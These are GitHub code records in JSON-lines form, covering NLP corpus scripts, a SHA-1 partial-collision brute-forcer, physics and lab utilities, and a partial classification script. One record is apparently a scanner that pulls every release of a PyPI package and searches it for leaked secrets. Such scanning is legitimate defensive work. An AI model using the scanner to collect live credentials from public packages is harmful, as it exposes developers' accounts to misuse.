"vars.BEEMINDER_TOKEN", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 121, "usage_type": "call"}, {"api_name": "vars.BEEMINDER_TOKEN", "line_number": 125, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 134, "usage_type": "attribute"}, {"api_name": "vars.USERNAME", "line_number": 146, "usage_type": "name"}, {"api_name": "requests.put", "line_number": 149, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 151, "usage_type": "call"}, {"api_name": "vars.BEEMINDER_TOKEN", "line_number": 163, "usage_type": "name"}]}
{"seq_id": "12298921456", "text": "from gensim.corpora import WikiCorpus, dictionary\nfrom motes_corpus import modeling\nfrom scipy import sparse\nimport argparse\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"outpath\", type=str, help=\"Where to save the cooc matrix\")\n    parser.add_argument(\"--skip_count\", \"-n\", type=int, help=\"Number of docs to skip.\", default=0)\n    parser.add_argument(\"--max-docs\", \"-m\", type=int, help=\"Max docs to process. Useful for early stopping before all the server's memory is used.\", default=666666)\n    parser.add_argument(\"--prune-below\", default=.21)\n    parser.add_argument(\"--prune-every\", default=50000)\n    parser.add_argument(\"--fold-every\", default=1000)\n    args = parser.parse_args()\n    \n    dict_path = '/data/motes/gigaword_300_dict.txt'\n    model_dict = dictionary.Dictionary.load_from_text(dict_path)\n\n    wiki = WikiCorpus('/data/motes/enwiki/enwiki-latest-pages-articles.xml.bz2', lemmatize=False, dictionary=model_dict)\n\n    def skip_texts(n, max=False):\n        '''Resume processing after a given point'''\n        for i, text in enumerate(wiki.get_texts()):\n            if i < n:\n                if i % 20000 == 0:\n                    print(i, 'skipped')\n                continue\n            else:\n                yield text\n            if max and ((i-n) >= max):\n                print(\"Text generator ended with {} texts\".format(i))\n                return\n\n    wikicooc = modeling.train_coocurrence_matrix(skip_texts(args.skip_count, args.max_docs), model_dict,\n                                                 window_size=10, print_every=5000, prune_every=args.prune_every, \n                                                 prune_below=args.prune_below, fold_every=args.fold_every)\n    print(\"Building complete. Saving matrix\")\n    sparse.save_npz(args.outpath, wikicooc)\n    \nif __name__ == \"__main__\":\n    main()", "repo_name": "massivetexts/motes-corpus", "sub_path": "scripts/train_enwiki_cooc.py", "file_name": "train_enwiki_cooc.py", "file_ext": "py", "file_size_in_byte": 1860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "gensim.corpora.dictionary.Dictionary.load_from_text", "line_number": 17, "usage_type": "call"}, {"api_name": "gensim.corpora.dictionary.Dictionary", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gensim.corpora.dictionary", "line_number": 17, "usage_type": "name"}, {"api_name": "gensim.corpora.WikiCorpus", "line_number": 19, "usage_type": "call"}, {"api_name": "motes_corpus.modeling.train_coocurrence_matrix", "line_number": 34, "usage_type": "call"}, {"api_name": "motes_corpus.modeling", "line_number": 34, "usage_type": "name"}, {"api_name": "scipy.sparse.save_npz", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "21081376094", "text": "import multiprocessing\nimport hashlib\nfrom multiprocessing import Process, Value\nimport random as rd\nimport time\n\n# Given an integer, turn it into binary then return hex representation\ndef IntToBytes(inputInt):\n    ret = ''\n    inputInt += 1\n    while(inputInt > 0):\n        n = inputInt % 96\n        ret = chr(n+31) + ret\n        inputInt = inputInt // 96\n    return ret.encode()\n\ndef FindCollision(procnum, proccount, prefix, v, interval):\n    rd.seed(time.time() + procnum)\n    while(1):\n        i = rd.randint(8153726976, 782757789696)\n        string = IntToBytes(i)\n        hash = hashlib.sha1(string).hexdigest()\n        if hash[:len(prefix)] == prefix:\n            v.value = i\n            break\n        i += 1\n        # leapfrogs over batches belonging to other processes when current batch finished\n        if i % interval == 0:\n            print(str(procnum) + ': ' + str(interval) + ' random values checked')\n            i += interval*(proccount-1) + 1\n        # stop if another process has found a solution\n        if v.value != 0:\n            break\n\nif __name__ == \"__main__\":\n    manager = multiprocessing.Manager()\n    numcpu = multiprocessing.cpu_count()\n    # determines how much a process should work on at a time (batch)\n    intrvl = 5000000\n    # edit for chosen prefix to collide with *****\n    prefix = 'e1aaf6de4fe0c4bbf5b8ca38ab89a741db53ec' \n    # prints number of CPUs available\n    print (numcpu)\n    v = manager.Value('i', 0)\n    procs = []\n    for i in range(numcpu):\n        proc = Process(target=FindCollision, args=(i, numcpu, prefix, v, intrvl))\n        procs.append(proc)\n        proc.start()\n    for proc in procs:\n        proc.join()\n    print(IntToBytes(v.value))", "repo_name": "SquirtleBoss/SHA1-partial-collider", "sub_path": "collider.py", "file_name": "collider.py", "file_ext": "py", "file_size_in_byte": 1699, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.seed", "line_number": 18, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 22, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 36, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 37, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "21464211513", "text": "from sympy import *\nfrom sympy.codegen.ast import Assignment\n\nimport symbolic.optimizations as optimizations\nfrom symbolic.characteristics import weights, c_s\n\n\ndef assign(names, definitions):\n    return list(map(lambda x: Assignment(*x), zip(names, definitions)))\n\nclass LBM:\n    def __init__(self, descriptor):\n        self.descriptor = descriptor\n        self.f_next = symarray('f_next', descriptor.q)\n        self.f_curr = symarray('f_curr', descriptor.q)\n\n        if not hasattr(descriptor, 'w'):\n            self.descriptor.w = weights(descriptor.d, descriptor.c)\n\n        if not hasattr(descriptor, 'c_s'):\n            self.descriptor.c_s = c_s(descriptor.d, descriptor.c, self.descriptor.w)\n\n    def moments(self, optimize = True):\n        rho = symbols('rho')\n        u   = Matrix(symarray('u', self.descriptor.d))\n\n        exprs = [ Assignment(rho, sum(self.f_curr)) ]\n\n        for i, u_i in enumerate(u):\n            exprs.append(\n                Assignment(u_i, sum([ (c_j*self.f_curr[j])[i] for j, c_j in enumerate(self.descriptor.c) ]) / sum(self.f_curr)))\n\n        if optimize:\n            return cse(exprs, optimizations=optimizations.custom, symbols=numbered_symbols(prefix='m'))\n        else:\n            return ([], exprs)\n\n    def equilibrium(self):\n        rho = symbols('rho')\n        u   = Matrix(symarray('u', self.descriptor.d))\n\n        f_eq = []\n\n        for i, c_i in enumerate(self.descriptor.c):\n            f_eq_i = self.descriptor.w[i] * rho * ( 1\n                                                  + c_i.dot(u)    /    self.descriptor.c_s**2\n                                                  + c_i.dot(u)**2 / (2*self.descriptor.c_s**4)\n                                                  - u.dot(u)      / (2*self.descriptor.c_s**2) )\n            f_eq.append(f_eq_i)\n\n        return f_eq\n\n    def bgk(self, tau, f_eq, optimize = True):\n        exprs = [ self.f_curr[i] + 1/tau * (f_eq_i - self.f_curr[i]) for i, f_eq_i in enumerate(f_eq) ]\n\n        if optimize:\n            subexprs, f = cse(exprs, optimizations=optimizations.custom)\n            return (subexprs, assign(self.f_next, f))\n        else:\n            return ([], assign(self.f_next, exprs))\n", "repo_name": "KnairdA/symlbm_playground", "sub_path": "symbolic/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 2186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sympy.codegen.ast.Assignment", "line_number": 9, "usage_type": "call"}, {"api_name": "symbolic.characteristics.weights", "line_number": 18, "usage_type": "call"}, {"api_name": "symbolic.characteristics.c_s", "line_number": 21, "usage_type": "call"}, {"api_name": "sympy.codegen.ast.Assignment", "line_number": 27, "usage_type": "call"}, {"api_name": "sympy.codegen.ast.Assignment", "line_number": 31, "usage_type": "call"}, {"api_name": "symbolic.optimizations.custom", "line_number": 34, "usage_type": "attribute"}, {"api_name": "symbolic.optimizations", "line_number": 34, "usage_type": "name"}, {"api_name": "symbolic.optimizations.custom", "line_number": 57, "usage_type": "attribute"}, {"api_name": "symbolic.optimizations", "line_number": 57, "usage_type": "name"}]}
{"seq_id": "74013640584", "text": "\"\"\"Utilities for applying masks to data.\"\"\"\nimport numpy as np\nfrom matplotlib.path import Path\n\nimport xarray as xr\nfrom arpes.provenance import update_provenance\nfrom arpes.typing import DataType\nfrom arpes.utilities import normalize_to_spectrum\n\n__all__ = (\n    \"polys_to_mask\",\n    \"apply_mask\",\n    \"raw_poly_to_mask\",\n    \"apply_mask_to_coords\",\n)\n\n\ndef raw_poly_to_mask(poly):\n    \"\"\"Converts a polygon into a mask definition.\n\n    There's not currently much metadata attached to masks, but this is\n    around if we ever decide that we need to implement more\n    complicated masking schemes.\n\n    In particular, we might want to store also whether the interior\n    or exterior is the masked region, but this is functionally achieved\n    for now with the `invert` flag in other functions.\n\n    Args:\n        poly: Polygon implementing a masked region.\n\n    Returns:\n        The mask.\n    \"\"\"\n    return {\n        \"poly\": poly,\n    }\n\n\ndef polys_to_mask(mask_dict, coords, shape, radius=None, invert=False):\n    \"\"\"Converts a mask definition in terms of the underlying polygon to a True/False mask array.\n\n    Uses the coordinates and shape of the target data in order to determine which pixels\n    should be masked.\n\n    This process \"specializes\" a mask to a particular shape, whereas masks given by\n    polygon definitions are general to any data with appropriate dimensions, because\n    waypoints are given in unitful values rather than index values.\n\n    Args:\n        mask_dict\n        coords\n        shape\n        radius\n        invert\n\n    Returns:\n        The mask.\n    \"\"\"\n    dims = mask_dict[\"dims\"]\n    polys = mask_dict[\"polys\"]\n\n    polys = [\n        [[np.searchsorted(coords[dims[i]], coord) for i, coord in enumerate(p)] for p in poly]\n        for poly in polys\n    ]\n\n    mask_grids = np.meshgrid(*[np.arange(s) for s in shape])\n    mask_grids = tuple(k.flatten() for k in mask_grids)\n\n    points = np.vstack(mask_grids).T\n\n    mask = None\n    for poly in polys:\n        grid = Path(poly).contains_points(points, radius=radius or 0)\n        grid = grid.reshape(list(shape)[::-1]).T\n\n        if mask is None:\n            mask = grid\n        else:\n            mask = np.logical_or(mask, grid)\n\n    if invert:\n        mask = np.logical_not(mask)\n\n    return mask\n\n\ndef apply_mask_to_coords(data: xr.Dataset, mask, dims, invert=True):\n    \"\"\"Performs broadcasted masking along a given dimension.\n\n    Args:\n        data: The data you want to mask.\n        mask: The mask to apply, should be dimensionally equivalent to what you request in `dims`.\n        dims: The dimensions which should be masked.\n        invert: Whether the mask should be inverted.\n\n    Returns:\n        The masked data.\n    \"\"\"\n    p = Path(mask[\"poly\"])\n\n    as_array = np.stack([data.data_vars[d].values for d in dims], axis=-1)\n    shape = as_array.shape\n    dest_shape = shape[:-1]\n    new_shape = [np.prod(dest_shape), len(dims)]\n\n    mask = p.contains_points(as_array.reshape(new_shape)).reshape(dest_shape)\n    if invert:\n        mask = np.logical_not(mask)\n\n    return mask\n\n\n@update_provenance(\"Apply boolean mask to data\")\ndef apply_mask(data: DataType, mask, replace=np.nan, radius=None, invert=False):\n    \"\"\"Applies a logical mask, i.e. one given in terms of polygons, to a specific piece of data.\n\n    This can be used to set values outside or inside a series of\n    polygon masks to a given value or to NaN.\n\n    Expanding or contracting the masked region can be accomplished with the\n    radius argument, but by default strict inclusion is used.\n\n    Some masks include a `fermi` parameter which allows for clipping the detector\n    boundaries in a semi-automated fashion. If this is included, only 200meV above the Fermi\n    level will be included in the returned data. This helps to prevent very large\n    and undesirable regions filled with only the replacement value which can complicate\n    automated analyses that rely on masking.\n\n    Args:\n        data: Data to mask.\n        mask: Logical definition of the mask, appropriate for passing to\n            `polys_to_mask`\n        replace: The value to substitute for pixels masked.\n        radius: Radius by which to expand the masked area.\n        invert: Allows logical inversion of the masked parts of the\n            data. By default, the area inside the polygon sequence is\n            replaced by `replace`.\n\n    Returns:\n        Data with values masked out.\n    \"\"\"\n    data = normalize_to_spectrum(data)\n    fermi = mask.get(\"fermi\")\n\n    if isinstance(mask, dict):\n        dims = mask.get(\"dims\", data.dims)\n        mask = polys_to_mask(\n            mask,\n            data.coords,\n            [s for i, s in enumerate(data.shape) if data.dims[i] in dims],\n            radius=radius,\n            invert=invert,\n        )\n\n    masked_data = data.copy(deep=True)\n    masked_data.values = masked_data.values * 1.0\n    masked_data.values[mask] = replace\n\n    if fermi is not None:\n        return masked_data.sel(eV=slice(None, fermi + 0.2))\n\n    return masked_data\n", "repo_name": "chstan/arpes", "sub_path": "arpes/analysis/mask.py", "file_name": "mask.py", "file_ext": "py", "file_size_in_byte": 5031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.searchsorted", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.path.Path", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 84, "usage_type": "call"}, {"api_name": "xarray.Dataset", "line_number": 89, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 110, "usage_type": "call"}, {"api_name": "arpes.typing.DataType", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 116, "usage_type": "attribute"}, {"api_name": "arpes.utilities.normalize_to_spectrum", "line_number": 144, "usage_type": "call"}, {"api_name": "arpes.provenance.update_provenance", "line_number": 115, "usage_type": "call"}]}
{"seq_id": "40471751445", "text": "import urllib\nimport tarfile\nimport re\nimport os\nimport requests\nimport tempfile\nfrom scan_archives import get_secrets_from_targz\nfrom bs4 import BeautifulSoup\nfrom truffleHogRegexes.regexChecks import regexes\nfrom tarfile import ReadError\n\ndef get_packages_from_term(term):\n    params = {':action': 'search', \n       'term': term, \n       'submit': 'search'}\n    encodedParams = urllib.urlencode(params)\n    url = ('https://pypi.python.org/pypi?{}').format(encodedParams)\n    text = requests.get(url).text\n    soup = BeautifulSoup(text, 'html.parser')\n    soupTable = soup.findAll('table', {'class': 'list'})[0]\n    package = []\n    for url in soupTable.find_all('a'):\n        package.append(url['href'].split('/')[2])\n\n    return package\n\n\ndef get_recent_secrets(package):\n    response = requests.get(('https://pypi.python.org/pypi/{}/').format(package))\n    soup = BeautifulSoup(response.text, 'html.parser')\n    try:\n        url = soup.find_all('a', {'class': 'button green'})[0]['href']\n    except IndexError:\n        return []\n\n    get_secrets_from_targz(url, package)\n\n\ndef scan_package(package, custom_regexes=regexes, scan_entropy=False, scan_regexes=True):\n    results = {}\n    response = requests.get(('https://pypi.org/simple/{}/').format(package))\n    soup = BeautifulSoup(response.text, 'html.parser')\n    try:\n        a_tags = soup.find_all('a', href=True)\n    except:\n        raise 'Error connecting to pypi'\n\n    for a_tag in a_tags:\n        url = a_tag['href']\n        version = a_tag.string\n        current_version_results = get_secrets_from_targz(url, package, custom_regexes=regexes, scan_entropy=scan_entropy, scan_regexes=scan_regexes)\n        if current_version_results:\n            results[version] = current_version_results\n\n    return results\n", "repo_name": "dxa4481/santaHog", "sub_path": "santaHog/pypiSearcher.py", "file_name": "pypiSearcher.py", "file_ext": "py", "file_size_in_byte": 1770, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 29, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.urlencode", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "scan_archives.get_secrets_from_targz", "line_number": 36, "usage_type": "call"}, {"api_name": "truffleHogRegexes.regexChecks.regexes", "line_number": 39, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "scan_archives.get_secrets_from_targz", "line_number": 51, "usage_type": "call"}, {"api_name": "truffleHogRegexes.regexChecks.regexes", "line_number": 51, "usage_type": "name"}]}
{"seq_id": "1930230383", "text": "import ujson as json\nimport pandas as pd\nimport pickle\nimport time\nimport psutil\nimport sys\n\n\nclass Retriver():\n    def __init__(self, config, training=False):\n        self.config = config\n        self.current_labels = None\n        self.current_celebrity = None\n        self.is_training_set = training\n        if training:\n            print(\">\"+\" Initialization Training Modus..\")\n            self.size = 1920*(config[\"train_test_split\"])\n            self.training_mode()\n        else:\n            print(\">\"+\" Initialization Testing Modus..\")\n            self.size = 1920*(1 - config[\"train_test_split\"])\n            self.testing_mode()\n\n    # Retrives from the training data set\n    def training_mode(self):\n        self.get_training_celebrity()\n        self.get_training_labels()\n\n    # Retrives from the test data set\n    def testing_mode(self):\n        self.get_test_celebrity()\n        self.get_test_labels()\n\n    # Gets the labesl data for training\n    def get_training_labels(self):\n        path = self.config[\"training_path\"]+\"labels_train.ndjson\"\n        time = self.timer()\n        # print(f\"Retriving[  ]:\\t{end_path}\")\n        df = self.ndjson_to_dataframe(path)\n        self.terminal_info(path, time)\n        self.current_labels = df\n\n\n    # Gets the celebrity data for training\n    def get_training_celebrity(self):\n        path = self.config[\"training_path\"]+\"celebrity_train.ndjson\"\n        time = self.timer()\n        df = self.ndjson_to_dataframe(path)\n        self.fileTitle = path\n        self.terminal_info(path, time)\n        self.current_celebrity = df\n\n    def terminal_info(self, path, time):\n        print(f\"|\\tTime:{round(self.timer(start_time=time),2)}\\tRAM:{round(self.get_ram(),2)}%\\t|\\t - Retriving[✅]: {path}\")\n       \n    # Gets the labesl data for test\n    def get_test_labels(self):\n        path = self.config[\"test_path\"] + \"labels_test.ndjson\"\n        time  = self.timer()\n        df = self.ndjson_to_dataframe(path)\n        self.terminal_info(path, time )\n        self.current_labels = df\n\n    # Gets the celebrity data for test\n    def get_test_celebrity(self):\n        path = self.config[\"test_path\"]+\"celebrity_test.ndjson\"\n        time  = self.timer()\n        df = self.ndjson_to_dataframe(path)\n        self.fileTitle = path\n        self.terminal_info(path, time)\n        self.currentFile = df.copy()\n        self.current_celebrity = df\n\n    # Converts the ndjson file to a datafram from pandas\n    def ndjson_to_dataframe(self, path):\n        records = map(json.loads, open(path))\n        df = pd.DataFrame.from_records(records)\n        del records\n        return df\n\n    # Returns the usage of ram\n    def get_ram(self):\n        ram = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total\n        limit = 10\n        if ram < limit:\n            sys.exit(f\"[Forced Quit ❌]\\tLess than {limit}% RAM left\")\n        return ram\n\n    # To find how much time a prosses takes\n    def timer(self, start_time=None):\n        if start_time is None:\n            start_time = time.time()\n            return start_time\n        else:\n            return (time.time() - start_time)\n\n\n", "repo_name": "tartaruz/-PAN20-Celebrity-Profiling", "sub_path": "data/retriver.py", "file_name": "retriver.py", "file_ext": "py", "file_size_in_byte": 3131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ujson.loads", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 77, "usage_type": "attribute"}, {"api_name": "psutil.virtual_memory", "line_number": 83, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 86, "usage_type": "call"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "4034442460", "text": "import enum\nfrom pyrtable.fields import (\n    StringField,\n    SingleSelectionField,\n    BooleanField,\n    SingleRecordLinkField,\n    FloatField,\n)\n\nfrom . import Base\n\n\nclass Color(enum.Enum):\n    DARK_GREY = \"Dark Grey\"\n    BLUE = \"Blue\"\n    WHITE = \"White\"\n    ORANGE = \"Orange\"\n    GREEN = \"Green\"\n    YELLOW = \"Yellow\"\n    RED = \"Red\"\n\n\nclass Material(enum.Enum):\n    PLA = \"PLA\"\n    ABS = \"ABS\"\n\n\nclass FilamentProfileRecord(Base):\n    class Meta:\n        table_id = \"TPROD_FilamentProfiles\"\n\n    name = StringField(\"Name\", read_only=True)\n    brand = SingleSelectionField(\"Brand\", read_only=True)\n    manufacturer = SingleSelectionField(\"Manufacturer\", read_only=True)\n    color = SingleSelectionField(\"Color\", choices=Color, read_only=True)\n    # price = IntegerField('Price', read_only=True)\n    weight = FloatField(\"Weight [g]\", read_only=True)\n    material = SingleSelectionField(\"Material\", choices=Material, read_only=True)\n    diameter = FloatField(\"Diameter [mm]\", read_only=True)\n    density = FloatField(\"Density [g/cm3]\", read_only=True)\n\n    def __repr__(self):\n        return f\"<FilamentProfileRecord: name=({self.name})>\"\n\n\nclass FilamentRecord(Base):\n    class Meta:\n        table_id = \"TPROD_Filaments\"\n\n    name = StringField(\"Name\", read_only=True)\n    in_trash = BooleanField(\"In trash\", read_only=True)\n    qr_code_printed = BooleanField(\"QR code Printed\", read_only=True)\n    remaining = FloatField(\"Remaining\", read_only=True)\n    weight_remaining = FloatField(\"Weight remaining\")\n\n    profile = SingleRecordLinkField(\n        \"FilamentProfile\", linked_class=\"farm.model.filament.FilamentProfileRecord\"\n    )\n    printer = SingleRecordLinkField(\n        \"Printer\", linked_class=\"farm.model.printer.PrinterRecord\"\n    )\n\n    def __repr__(self):\n        return f\"<FilamentRecord: name=({self.name})>\"\n\n    def used(self, weight):\n        self.weight_remaining -= weight\n        if self.weight_remaining < 0:\n            self.weight_remaining = 0\n        self.save()\n", "repo_name": "Hackhim/myscenery_automationscript", "sub_path": "farm/model/filament.py", "file_name": "filament.py", "file_ext": "py", "file_size_in_byte": 1993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Enum", "line_number": 13, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pyrtable.fields.StringField", "line_number": 32, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleSelectionField", "line_number": 33, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleSelectionField", "line_number": 34, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleSelectionField", "line_number": 35, "usage_type": "call"}, {"api_name": "pyrtable.fields.FloatField", "line_number": 37, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleSelectionField", "line_number": 38, "usage_type": "call"}, {"api_name": "pyrtable.fields.FloatField", "line_number": 39, "usage_type": "call"}, {"api_name": "pyrtable.fields.FloatField", "line_number": 40, "usage_type": "call"}, {"api_name": "pyrtable.fields.StringField", "line_number": 50, "usage_type": "call"}, {"api_name": "pyrtable.fields.BooleanField", "line_number": 51, "usage_type": "call"}, {"api_name": "pyrtable.fields.BooleanField", "line_number": 52, "usage_type": "call"}, {"api_name": "pyrtable.fields.FloatField", "line_number": 53, "usage_type": "call"}, {"api_name": "pyrtable.fields.FloatField", "line_number": 54, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleRecordLinkField", "line_number": 56, "usage_type": "call"}, {"api_name": "pyrtable.fields.SingleRecordLinkField", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "24946938435", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\"\"\"utilisée pour initialiser les couches de convolution du module de critique\"\"\"\n\n\nclass Critique(nn.Module):\n\n    def __init__(self, hidden_size):\n        super(Critique, self).__init__()\n\n        # Define the encoder & decoder models\n        self.fc1 = nn.Conv1d(1, hidden_size, kernel_size=1)\n        self.fc2 = nn.Conv1d(hidden_size, 20, kernel_size=1)\n        self.fc3 = nn.Conv1d(20, 1, kernel_size=1)\n\n        for p in self.parameters():\n            if len(p.shape) > 1:\n                nn.init.xavier_uniform_(p)\n\n    def forward(self, input):\n\n        output = F.relu(self.fc1(input.unsqueeze(1)))\n        output = F.relu(self.fc2(output)).squeeze(2)\n        output = self.fc3(output).sum(dim=2)\n        return output\n", "repo_name": "mory-moussa/VRP", "sub_path": "Estimation/Complexite.py", "file_name": "Complexite.py", "file_ext": "py", "file_size_in_byte": 866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.device", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}]}
{"seq_id": "69857726013", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 28 20:22:48 2022\n\n@author: Thomas_yanghan\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport math\nimport pickle\nimport matplotlib.pyplot as plt\nfrom collections import Counter\nfrom sklearn.model_selection import train_test_split\n# Random Forest\nfrom sklearn.datasets import make_classification\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import StandardScaler\n# Logistic Regression\nfrom sklearn.linear_model import LogisticRegression\n# xgboost\nimport xgboost\nfrom xgboost import XGBClassifier\n\ndf_raw = pd.read_csv('/Users/Thomas_yanghan/Desktop/wellsFargoAna/train_processed.csv')\ndf_similarity = pd.read_csv(\"similarities_big_lm.csv\",header=None)\n\nwith open('./brand_embeddings_big.pkl', 'rb') as f:\n    brandemb = pickle.load(f)\ndf_embeddings = pd.DataFrame(brandemb)\n\n\nRFs={}\nXGBs={}\nerrorIdx_RF={}\nerrorIdx_XGB={}\nfeatures_importance_RF={}\nfeatures_importance_XGB={}\n\nks = ['rawfeaturs_only', 'similarities_only', 'embeddings_only', 'rawfeatue_and_similarities']\n\ny = list(df_raw['Category_1'])\n\n\n# 0: without language model, raw features only\nprint(\"---*---\\n Without language model, raw features only\\n---*---\")\ncur = 0\ndf0 = df_raw.copy()\ncols = ['sor_1', 'db_cr_cd_1', 'is_international_1', 'payment_category_1', \n        'state_1','merchant_cat_1']\nX1 = df0[['amt'] + cols]\nX_train, X_test, y_train, y_test = train_test_split(X1, y, test_size=0.33, random_state=42)\ntestIdxes= list(X_test)\n\n# Random Forest\nclf = RandomForestClassifier(max_depth=10, random_state=0)\nclf.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, clf.feature_importances_))\nfeatures_importance_RF[ks[cur]] = importance_dict\nRFs[ks[cur]] = clf\ny_pred = clf.predict(X_test)\nerrorIdxes = []\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Random Forest accuracy:\", n/len(y_pred))\nerrorIdx_RF[ks[cur]] = errorIdxes\n\n\n# xgboost\nxgbc = XGBClassifier()\nxgbc.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, xgbc.feature_importances_))\nfeatures_importance_XGB[ks[cur]] = importance_dict\nXGBs[ks[cur]] = xgbc\ny_pred = xgbc.predict(X_test)\nerrorIdxes=[]\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Xgboost accuracy:\", n/len(y_pred))\nerrorIdx_XGB[ks[cur]] = errorIdxes\n\n\n# 1: Without raw features, similarities only\nprint(\"---*---\\n Without raw features, similarities only \\n---*---\")\ncur=1\ns_cates=['Communication Services', 'Property and Business Services', 'Travel', \n         'Entertainment', 'Retail 